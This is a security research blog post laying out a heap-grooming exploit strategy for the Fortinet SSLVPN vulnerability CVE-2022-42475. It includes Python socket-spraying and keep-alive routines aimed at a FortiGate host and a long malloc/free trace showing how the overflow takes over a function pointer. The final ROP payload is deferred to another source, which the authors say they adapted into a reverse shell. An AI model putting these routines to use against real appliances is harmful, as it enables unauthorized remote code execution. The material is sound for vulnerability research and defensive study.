Fortinet Series 3 — CVE-2022–42475 SSLVPN exploit strategy
Introduction
Recently, a new SSLVPN vulnerability for Fortinet [1,2,3] has been released and it has been actively exploited in the wild. To understand the new vulnerability, [2] and [3] have written the root cause of the vulnerability and in particular [2] has written their strategy to exploit the new vulnerability using SSL structure which resembled the strategy we used for CVE-2022–42475. To ride on this wave, we decided to publish our exploit strategy for CVE-2022–42475 from the previous article. In this article, we will attempt to explain the program flow, document the heap allocation pattern observed and the strategy to exploit the vulnerability.
sslvpnd program flow
In the previous article, we mentioned that “jmp rax” requires some conditions to be met. To understand why the jmp rax occurs, we will attempt to understand the high level program flow. Whenever the sslvpnd program starts, it will eventually enter a while loop In monitor_new_connection function (sub_017810E1) to monitor for new connection events. If there are new connection events, handle_new_connection_events function (sub_1780B00) in sub_1780CA0 will be called to handle the new connection events. This handle_new_connection_events function is the critical function where the jmp rax resides.
In summary, the handle_new_connection_events function has two parts. The first part is to handle the new connection events where sub_177F4F0 is called and eventually read_post_data_callback (sub_1785AB0) is called to handle the data from the SSL connection. Under normal circumstances, the result of the sub_177F4F0 function is 0 and -1 if the socket is closed by the client side. Since the the result is normally zero, it will not return prematurely and will continue the do loop for 4 more times before proceeding to the second part of the handle_new_connection_events function.
The second part of the handle_new_connection_events function is crucial for us to gain control of the RIP. It attempts to extract a structure at offset 0x298 and then extract another structure at offset 0x70 of the 0x298 structure. At offset 0xC0 of the 0x70 structure, there is supposedly a function pointer. Normally, the function pointer is NULL resulting in sub_177EEB0 to be called instead. However, with the heap overflow, the function pointer is overwritten with user controlled data and therefore an attempt to call this function pointer caused the crash if the function pointer points to invalid memory or non-executable memory.
The next section will document on the different allocation primitives user can control.
Allocation primitives for Fortinet version 7.2.2
The following code snippets are methods used to observe how the allocations and deallocations are made on the heap. We will make use of GDB and wrote a simple GDB plugin to log and analyze the heap allocations.
Reference code on different allocation methods:
def allocate(number_of_sockets):
socket_arrays = []
for i in range(number_of_sockets):
spray_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
spray_socket.connect((FORTIGATE_IP, FORTIGATE_PORT))
socket_arrays.append(spray_socket)
print("Connected socket %d" % i)
return socket_arrays
def allocate_with_post(number_of_sockets):
socket_arrays = []
for i in range(number_of_sockets):
spray_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
spray_socket.connect((FORTIGATE_IP, FORTIGATE_PORT))
spray_ssl_context = ssl._create_unverified_context(ssl.PROTOCOL_TLSv1)
spray_socket = spray_ssl_context.wrap_socket(spray_socket)
data = b"POST /remote/login HTTP/1.1\r\nHost: " + FORTIGATE_IP.encode() + b"\r\nContent-Length: 1\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nA"
spray_socket.sendall(data)
socket_arrays.append(spray_socket)
print("Send post on socket %d" % i)
return socket_arrays
def deallocate(array_of_sockets, number, toReverse=False):
if toReverse:
for i in reversed(range(number)):
array_of_sockets[i].close()
time.sleep(0.001)
print("Closing socket %d" % i)
else:
for i in range(number):
array_of_sockets[i].close()
time.sleep(0.001)
print("Closing socket %d" % i)
def keep_alive_threads(socket, id):
global keepalive
while 1:
if to_keepalive[id] == 0:
break
socket.sendall(b"A")
time.sleep(1)
def allocate_with_post_keepalive(number_of_sockets):
global to_keepalive
global threads_list
to_keepalive = [1 for i in range(number_of_sockets)]
socket_arrays = []
for i in range(number_of_sockets):
spray_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
spray_socket.connect((FORTIGATE_IP, FORTIGATE_PORT))
spray_ssl_context = ssl._create_unverified_context(ssl.PROTOCOL_TLSv1)
spray_socket = spray_ssl_context.wrap_socket(spray_socket)
data = b"POST /remote/login HTTP/1.1\r\nHost: " + FORTIGATE_IP.encode() + b"\r\nContent-Length: 1\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nA"
spray_socket.sendall(data)
socket_arrays.append(spray_socket)
t1 = threading.Thread(target=keep_alive_threads, args=(spray_socket,i,))
t1.start()
threads_list.append(t1)
print("Send post on socket %d" % i)
spray_socket.recv(1024)
time.sleep(1)
return socket_arrays
def deallocate_keepalive(array_of_sockets, number, toReverse=False):
if toReverse:
for i in reversed(range(number)):
array_of_sockets[i].close()
time.sleep(0.001)
print("Closing socket %d" % i)
else:
global to_keepalive
global threads_list
for i in range(number):
to_keepalive[i] = 0
for i in range(number):
threads_list[i].join()
for i in range(number):
array_of_sockets[i].close()
time.sleep(0.001)
print("Closing socket %d" % i)
However, heap allocations in GDB may not yield the same allocations in the program without GDB attached. This may be due to interference with the next socket allocation with the previous socket allocation. To prevent the next socket from interfering with the allocations of the previous socket, we will wait till a 302 HTTP status code response is received before starting the with the next new socket connection. In addition, the sockets will timeout after a short period of time and the heap will be automatically be freed at the server side. This will cause unexpected heap allocation behaviour because of the automatically freeing of heap memory will mess up the the heap layout. Therefore, we will have to introduce a keep alive mechanism to prevent the heap from being freed pre-maturely. One way is to keep sending non HTTP structured data to the socket so that the server side will not close the socket at the server side and fortunately this does not cause any further allocations.
Another challenge to overcome is the existing heap layout in a live environment. There will be users interacting with sslvpnd and therefore the heap will not be structured in the way that we want. To overcome this, we will have to groom the heap by allocating of socket connections that will not timeout. This will allow us to allocate new continuous heap addresses that are not allocated by the system before. We will then free these memory in an attempt to get our desired heap layout for the next few allocations when we send our malicious packet.
Exploitation strategy
It is important to choose an appropriate content length so that the heap that is allocated for our user data will be in the same 1024 bin size. With the limitations set out in the previous section, we will attempt to connect to SSLVPN service using multiple sockets one at a time while keeping them alive. By doing so, it will attempt to consume all the fragmented heap chunks in the free list of bin size 1024. When all the 1024 size heap chunks are consumed from the free list, higher continuous heap addresses will be allocated for next few malloc requests.
Eventually when all the sockets closed in the order they are initiated, the heap chunks will be pointed by the free list of bin size 1024. As allocations from the free list behaves as a stack (FILO), the last few freed heap chunks will be first allocated in the reverse order. Given the fact that heap requested for 0x70 structure is done before the request for the heap for the user content, if we groom the free list such the first request and second request are next to one another and that the first request has a higher address than the second request, we can control the content of the 0x70 structure.
The above diagram is a simplified view of what is happening and why we are able to overflow certain structures. In the above example, 6 allocations of size 0x1024 are done and then freed in the order they are allocated. Subsequent 3 allocations are then made which gives us the opportunity for the third allocation to be able to overflow the second allocation.
The allocation below details the allocations in a full allocation and deallocation of sockets using this strategy
1 malloc 1024 freed in 278 0x7f5defd60c00 <- First socket
2 malloc 1024 -> ssl_callback freed in 272 0x7f5defd62000
3 malloc 1024 -> ssl_callback freed in 273 0x7f5defd62400
4 malloc 1024 freed in 33 0x7f5defd62800
5 malloc 1224 freed in 21 0x7f5defc22200
6 malloc 1024 freed in 22 0x7f5defd62c00
7 malloc 1224 freed in 23 0x7f5defc22700
8 malloc 1024 freed in 24 0x7f5def14c000
9 malloc 1024 freed in 25 0x7f5def14c800
10 malloc 1224 freed in 26 0x7f5defc22c00
11 malloc 1024 freed in 27 0x7f5def14cc00
12 malloc 1024 freed in 28 0x7f5def183000
13 malloc 1024 freed in 29 0x7f5def183400
14 malloc 1024 freed in 30 0x7f5def183800
15 malloc 1224 freed in 31 0x7f5defc23100
16 malloc 8248 freed in 274 0x7f5def184000
17 malloc 1024 -> 0x70struct freed in 275 0x7f5def183c00
18 malloc 1024 -> heap freed in 32 0x7f5def189000
19 malloc 1024 freed in 276 0x7f5def189400
20 malloc 1024 -> ssl_callback freed in 277 0x7f5def189800
21 free 1224 0x7f5defc22200
22 free 1024 0x7f5defd62c00
23 free 1224 0x7f5defc22700
24 free 1024 0x7f5def14c000
25 free 1024 0x7f5def14c800
26 free 1224 0x7f5defc22c00
27 free 1024 0x7f5def14cc00
28 free 1024 0x7f5def183000
29 free 1024 0x7f5def183400
30 free 1024 0x7f5def183800
31 free 1224 0x7f5defc23100
32 free 1024 0x7f5def189000
33 free 1024 0x7f5defd62800 <- End of first socket POST
34 malloc 1024 freed in 271 0x7f5defd62800 <- Second socket
35 malloc 1224 freed in 267 0x7f5defc23100
36 malloc 1024 freed in 268 0x7f5def189000
37 malloc 1224 freed in 269 0x7f5defc22c00
38 malloc 1024 freed in 270 0x7f5def183800
39 malloc 1024 freed in 290 0x7f5def183400
40 malloc 1024 -> ssl_callback freed in 284 0x7f5def183000
41 malloc 1024 -> ssl_callback freed in 285 0x7f5def14cc00
42 malloc 1024 freed in 71 0x7f5def14c800
43 malloc 1224 freed in 59 0x7f5defc22700
44 malloc 1024 freed in 60 0x7f5def14c000
45 malloc 1224 freed in 61 0x7f5defc22200
46 malloc 1024 freed in 62 0x7f5defd62c00
47 malloc 1024 freed in 63 0x7f5def1ae000
48 malloc 1224 freed in 64 0x7f5defc23600
49 malloc 1024 freed in 65 0x7f5def1ae400
50 malloc 1024 freed in 66 0x7f5def1ae800
51 malloc 1024 freed in 67 0x7f5def1aec00
52 malloc 1024 freed in 68 0x7f5def1af000
53 malloc 1224 freed in 69 0x7f5defc23b00
54 malloc 8248 freed in 286 0x7f5def186800
55 malloc 1024 -> 0x70struct freed in 287 0x7f5def1af400
56 malloc 1024 -> heap freed in 70 0x7f5def1af800
57 malloc 1024 freed in 288 0x7f5def1afc00
58 malloc 1024 -> ssl_callback freed in 289 0x7f5def1b5000
59 free 1224 0x7f5defc22700
60 free 1024 0x7f5def14c000
61 free 1224 0x7f5defc22200
62 free 1024 0x7f5defd62c00
63 free 1024 0x7f5def1ae000
64 free 1224 0x7f5defc23600
65 free 1024 0x7f5def1ae400
66 free 1024 0x7f5def1ae800
67 free 1024 0x7f5def1aec00
68 free 1024 0x7f5def1af000
69 free 1224 0x7f5defc23b00
70 free 1024 0x7f5def1af800
71 free 1024 0x7f5def14c800 <- End of second socket POST
72 malloc 1024 freed in 283 0x7f5def14c800 <- Third socket
73 malloc 1224 freed in 279 0x7f5defc23b00
74 malloc 1024 freed in 280 0x7f5def1af800
75 malloc 1224 freed in 281 0x7f5defc23600
76 malloc 1024 freed in 282 0x7f5def1af000
77 malloc 1024 freed in 302 0x7f5def1aec00
78 malloc 1024 -> ssl_callback freed in 296 0x7f5def1ae800
79 malloc 1024 -> ssl_callback freed in 297 0x7f5def1ae400
80 malloc 1024 freed in 109 0x7f5def1ae000
81 malloc 1224 freed in 97 0x7f5defc22200
82 malloc 1024 freed in 98 0x7f5defd62c00
83 malloc 1224 freed in 99 0x7f5defc22700
84 malloc 1024 freed in 100 0x7f5def14c000
85 malloc 1024 freed in 101 0x7f5def1b5800
86 malloc 1224 freed in 102 0x7f5def1b0000
87 malloc 1024 freed in 103 0x7f5def1b5c00
88 malloc 1024 freed in 104 0x7f5def1c5000
89 malloc 1024 freed in 105 0x7f5def1c5400
90 malloc 1024 freed in 106 0x7f5def1c5800
91 malloc 1224 freed in 107 0x7f5def1b0500
92 malloc 8248 freed in 298 0x7f5def191000
93 malloc 1024 -> 0x70struct freed in 299 0x7f5def1c5c00
94 malloc 1024 -> heap freed in 108 0x7f5def1c6000
95 malloc 1024 freed in 300 0x7f5def1c6400
96 malloc 1024 -> ssl_callback freed in 301 0x7f5def1c6800
97 free 1224 0x7f5defc22200
98 free 1024 0x7f5defd62c00
99 free 1224 0x7f5defc22700
100 free 1024 0x7f5def14c000
101 free 1024 0x7f5def1b5800
102 free 1224 0x7f5def1b0000
103 free 1024 0x7f5def1b5c00
104 free 1024 0x7f5def1c5000
105 free 1024 0x7f5def1c5400
106 free 1024 0x7f5def1c5800
107 free 1224 0x7f5def1b0500
108 free 1024 0x7f5def1c6000
109 free 1024 0x7f5def1ae000 <- End of third socket POST
110 malloc 1024 freed in 295 0x7f5def1ae000 <- Fourth socket
111 malloc 1224 freed in 291 0x7f5def1b0500
112 malloc 1024 freed in 292 0x7f5def1c6000
113 malloc 1224 freed in 293 0x7f5def1b0000
114 malloc 1024 freed in 294 0x7f5def1c5800
115 malloc 1024 freed in 314 0x7f5def1c5400
116 malloc 1024 -> ssl_callback freed in 308 0x7f5def1c5000
117 malloc 1024 -> ssl_callback freed in 309 0x7f5def1b5c00
118 malloc 1024 freed in 147 0x7f5def1b5800
119 malloc 1224 freed in 135 0x7f5defc22700
120 malloc 1024 freed in 136 0x7f5def14c000
121 malloc 1224 freed in 137 0x7f5defc22200
122 malloc 1024 freed in 138 0x7f5defd62c00
123 malloc 1024 freed in 139 0x7f5def18c000
124 malloc 1224 freed in 140 0x7f5def1b0a00
125 malloc 1024 freed in 141 0x7f5def18c400
126 malloc 1024 freed in 142 0x7f5def18c800
127 malloc 1024 freed in 143 0x7f5def18cc00
128 malloc 1024 freed in 144 0x7f5def18d000
129 malloc 1224 freed in 145 0x7f5def1b0f00
130 malloc 8248 freed in 310 0x7f5def193800
131 malloc 1024 -> 0x70struct freed in 311 0x7f5def18d400
132 malloc 1024 -> heap freed in 146 0x7f5def18d800
133 malloc 1024 freed in 312 0x7f5def18dc00
134 malloc 1024 -> ssl_callback freed in 313 0x7f5def18e000
135 free 1224 0x7f5defc22700
136 free 1024 0x7f5def14c000
137 free 1224 0x7f5defc22200
138 free 1024 0x7f5defd62c00
139 free 1024 0x7f5def18c000
140 free 1224 0x7f5def1b0a00
141 free 1024 0x7f5def18c400
142 free 1024 0x7f5def18c800
143 free 1024 0x7f5def18cc00
144 free 1024 0x7f5def18d000
145 free 1224 0x7f5def1b0f00
146 free 1024 0x7f5def18d800
147 free 1024 0x7f5def1b5800 <- End of fourth socket POST
148 malloc 1024 freed in 307 0x7f5def1b5800 <- Fifth socket
149 malloc 1224 freed in 303 0x7f5def1b0f00
150 malloc 1024 freed in 304 0x7f5def18d800
151 malloc 1224 freed in 305 0x7f5def1b0a00
152 malloc 1024 freed in 306 0x7f5def18d000
153 malloc 1024 freed in 326 0x7f5def18cc00
154 malloc 1024 -> ssl_callback freed in 320 0x7f5def18c800
155 malloc 1024 -> ssl_callback freed in 321 0x7f5def18c400
156 malloc 1024 freed in 185 0x7f5def18c000
157 malloc 1224 freed in 173 0x7f5defc22200
158 malloc 1024 freed in 174 0x7f5defd62c00
159 malloc 1224 freed in 175 0x7f5defc22700
160 malloc 1024 freed in 176 0x7f5def14c000
161 malloc 1024 freed in 177 0x7f5def18e800
162 malloc 1224 freed in 178 0x7f5def1b1400
163 malloc 1024 freed in 179 0x7f5def18ec00
164 malloc 1024 freed in 180 0x7f5def16e000
165 malloc 1024 freed in 181 0x7f5def16e400
166 malloc 1024 freed in 182 0x7f5def16e800
167 malloc 1224 freed in 183 0x7f5def1b1900
168 malloc 8248 freed in 322 0x7f5def196000
169 malloc 1024 -> 0x70struct freed in 323 0x7f5def16ec00
170 malloc 1024 -> heap freed in 184 0x7f5def16f000
171 malloc 1024 freed in 324 0x7f5def16f400
172 malloc 1024 -> ssl_callback freed in 325 0x7f5def16f800
173 free 1224 0x7f5defc22200
174 free 1024 0x7f5defd62c00
175 free 1224 0x7f5defc22700
176 free 1024 0x7f5def14c000
177 free 1024 0x7f5def18e800
178 free 1224 0x7f5def1b1400
179 free 1024 0x7f5def18ec00
180 free 1024 0x7f5def16e000
181 free 1024 0x7f5def16e400
182 free 1024 0x7f5def16e800
183 free 1224 0x7f5def1b1900
184 free 1024 0x7f5def16f000
185 free 1024 0x7f5def18c000 <- End of fifth socket POST
186 malloc 1024 freed in 319 0x7f5def18c000 <- Sixth socket
187 malloc 1224 freed in 315 0x7f5def1b1900
188 malloc 1024 freed in 316 0x7f5def16f000
189 malloc 1224 freed in 317 0x7f5def1b1400
190 malloc 1024 freed in 318 0x7f5def16e800
191 malloc 1024 freed in 338 0x7f5def16e400
192 malloc 1024 -> ssl_callback freed in 332 0x7f5def16e000
193 malloc 1024 -> ssl_callback freed in 333 0x7f5def18ec00
194 malloc 1024 freed in 223 0x7f5def18e800
195 malloc 1224 freed in 211 0x7f5defc22700
196 malloc 1024 freed in 212 0x7f5def14c000
197 malloc 1224 freed in 213 0x7f5defc22200
198 malloc 1024 freed in 214 0x7f5defd62c00
199 malloc 1024 freed in 215 0x7f5def175000
200 malloc 1224 freed in 216 0x7f5def1b1e00
201 malloc 1024 freed in 217 0x7f5def175400
202 malloc 1024 freed in 218 0x7f5def175800
203 malloc 1024 freed in 219 0x7f5def175c00
204 malloc 1024 freed in 220 0x7f5def176000
205 malloc 1224 freed in 221 0x7f5def1b2300
206 malloc 8248 freed in 334 0x7f5def198800
207 malloc 1024 -> 0x70struct freed in 335 0x7f5def176400
208 malloc 1024 -> heap freed in 222 0x7f5def176800
209 malloc 1024 freed in 336 0x7f5def176c00
210 malloc 1024 -> ssl_callback freed in 337 0x7f5def177000
211 free 1224 0x7f5defc22700
212 free 1024 0x7f5def14c000
213 free 1224 0x7f5defc22200
214 free 1024 0x7f5defd62c00
215 free 1024 0x7f5def175000
216 free 1224 0x7f5def1b1e00
217 free 1024 0x7f5def175400
218 free 1024 0x7f5def175800
219 free 1024 0x7f5def175c00
220 free 1024 0x7f5def176000
221 free 1224 0x7f5def1b2300
222 free 1024 0x7f5def176800
223 free 1024 0x7f5def18e800 <- End of sixth socket POST
224 malloc 1024 freed in 331 0x7f5def18e800 <- Seventh socket
225 malloc 1224 freed in 327 0x7f5def1b2300
226 malloc 1024 freed in 328 0x7f5def176800
227 malloc 1224 freed in 329 0x7f5def1b1e00
228 malloc 1024 freed in 330 0x7f5def176000
229 malloc 1024 freed in 350 0x7f5def175c00
230 malloc 1024 -> ssl_callback freed in 344 0x7f5def175800
231 malloc 1024 -> ssl_callback freed in 345 0x7f5def175400
232 malloc 1024 freed in 261 0x7f5def175000
233 malloc 1224 freed in 249 0x7f5defc22200
234 malloc 1024 freed in 250 0x7f5defd62c00
235 malloc 1224 freed in 251 0x7f5defc22700
236 malloc 1024 freed in 252 0x7f5def14c000
237 malloc 1024 freed in 253 0x7f5def177800
238 malloc 1224 freed in 254 0x7f5def1b2800
239 malloc 1024 freed in 255 0x7f5def177c00
240 malloc 1024 freed in 256 0x7f5def28a000
241 malloc 1024 freed in 257 0x7f5def28a400
242 malloc 1024 freed in 258 0x7f5def28a800
243 malloc 1224 freed in 259 0x7f5def1b2d00
244 malloc 8248 freed in 346 0x7f5def17d000
245 malloc 1024 -> 0x70struct freed in 347 0x7f5def28ac00
246 malloc 1024 -> heap freed in 260 0x7f5def28b000
247 malloc 1024 freed in 348 0x7f5def28b400
248 malloc 1024 -> ssl_callback freed in 349 0x7f5def28b800
249 free 1224 0x7f5defc22200
250 free 1024 0x7f5defd62c00
251 free 1224 0x7f5defc22700
252 free 1024 0x7f5def14c000
253 free 1024 0x7f5def177800
254 free 1224 0x7f5def1b2800
255 free 1024 0x7f5def177c00
256 free 1024 0x7f5def28a000
257 free 1024 0x7f5def28a400
258 free 1024 0x7f5def28a800
259 free 1224 0x7f5def1b2d00
260 free 1024 0x7f5def28b000
261 free 1024 0x7f5def175000
262 malloc 1024 freed in 343 0x7f5def175000
263 malloc 1224 freed in 339 0x7f5def1b2d00
264 malloc 1024 freed in 340 0x7f5def28b000
265 malloc 1224 freed in 341 0x7f5def1b2800
266 malloc 1024 freed in 342 0x7f5def28a800 <- End of seventh socket POST
267 free 1224 0x7f5defc23100 <- Free socket from first socket to seventh socket
268 free 1024 0x7f5def189000
269 free 1224 0x7f5defc22c00
270 free 1024 0x7f5def183800
271 free 1024 0x7f5defd62800
272 free 1024 0x7f5defd62000
273 free 1024 0x7f5defd62400
274 free 8248 0x7f5def184000
275 free 1024 0x7f5def183c00
276 free 1024 0x7f5def189400
277 free 1024 0x7f5def189800
278 free 1024 0x7f5defd60c00
279 free 1224 0x7f5defc23b00
280 free 1024 0x7f5def1af800
281 free 1224 0x7f5defc23600
282 free 1024 0x7f5def1af000
283 free 1024 0x7f5def14c800
284 free 1024 0x7f5def183000
285 free 1024 0x7f5def14cc00
286 free 8248 0x7f5def186800
287 free 1024 0x7f5def1af400
288 free 1024 0x7f5def1afc00
289 free 1024 0x7f5def1b5000
290 free 1024 0x7f5def183400
291 free 1224 0x7f5def1b0500
292 free 1024 0x7f5def1c6000
293 free 1224 0x7f5def1b0000
294 free 1024 0x7f5def1c5800
295 free 1024 0x7f5def1ae000
296 free 1024 0x7f5def1ae800
297 free 1024 0x7f5def1ae400
298 free 8248 0x7f5def191000
299 free 1024 0x7f5def1c5c00
300 free 1024 0x7f5def1c6400
301 free 1024 0x7f5def1c6800
302 free 1024 0x7f5def1aec00
303 free 1224 0x7f5def1b0f00
304 free 1024 0x7f5def18d800
305 free 1224 0x7f5def1b0a00
306 free 1024 0x7f5def18d000
307 free 1024 0x7f5def1b5800
308 free 1024 0x7f5def1c5000
309 free 1024 0x7f5def1b5c00
310 free 8248 0x7f5def193800
311 free 1024 0x7f5def18d400
312 free 1024 0x7f5def18dc00
313 free 1024 0x7f5def18e000
314 free 1024 0x7f5def1c5400
315 free 1224 0x7f5def1b1900
316 free 1024 0x7f5def16f000
317 free 1224 0x7f5def1b1400
318 free 1024 0x7f5def16e800
319 free 1024 0x7f5def18c000
320 free 1024 0x7f5def18c800
321 free 1024 0x7f5def18c400
322 free 8248 0x7f5def196000
323 free 1024 0x7f5def16ec00
324 free 1024 0x7f5def16f400
325 free 1024 0x7f5def16f800
326 free 1024 0x7f5def18cc00
327 free 1224 0x7f5def1b2300
328 free 1024 0x7f5def176800
329 free 1224 0x7f5def1b1e00
330 free 1024 0x7f5def176000
331 free 1024 0x7f5def18e800
332 free 1024 0x7f5def16e000
333 free 1024 0x7f5def18ec00
334 free 8248 0x7f5def198800
335 free 1024 0x7f5def176400
336 free 1024 0x7f5def176c00
337 free 1024 0x7f5def177000
338 free 1024 0x7f5def16e400
339 free 1224 0x7f5def1b2d00
340 free 1024 0x7f5def28b000
341 free 1224 0x7f5def1b2800
342 free 1024 0x7f5def28a800
343 free 1024 0x7f5def175000
344 free 1024 0x7f5def175800
345 free 1024 0x7f5def175400
346 free 8248 0x7f5def17d000
347 free 1024 0x7f5def28ac00
348 free 1024 0x7f5def28b400
349 free 1024 0x7f5def28b800
350 free 1024 0x7f5def175c00 <- End of free socket from first socket to seventh socket
351 malloc 1024 0x7f5def175c00 <- Sending of malicious packet
352 malloc 1024 -> ssl_callback 0x7f5def28b800
353 malloc 1024 -> ssl_callback 0x7f5def28b400
354 malloc 1024 0x7f5def28ac00
355 malloc 1224 0x7f5def1b2800
356 malloc 1024 0x7f5def175400
357 malloc 1224 0x7f5def1b2d00
358 malloc 1024 0x7f5def175800
359 malloc 1024 0x7f5def28a800
360 malloc 1224 0x7f5def1b1e00
361 malloc 1024 0x7f5def28b000
362 malloc 1024 0x7f5def177400
363 malloc 1024 0x7f5def16e400
364 malloc 1024 0x7f5def177000
365 malloc 1224 0x7f5def1b2300
366 malloc 8248 0x7f5def17d000
367 malloc 1024 -> 0x70struct 0x7f5def176c00 <- Address is lower than the heap
368 malloc 1024 -> heap 0x7f5def176400 <- Overflow at this heap will overwrite 0x70 struct
In this particular case, by putting a gadget at the correct offset on the controllable heap will overflow the value of rax and we can continue the exploit using typical ROP chain. The exact details has already been covered by [4]. The only difference between our payload and [4] is that we used a simple reverse shell instead of executing a sliver agent.
Conclusion
Many sources have cited OrangeTsai’s work on the SSLVPN exploit. However, we are not entirely sure whether we are using the overwriting of SSL’s handshake_func pointer. Based on the heap allocation behaviour, we have found a reliable way to control the allocation behaviour and overwrite the unknown function pointer.
Reference
[2] https://blog.lexfo.fr/xortigate-cve-2023-27997.html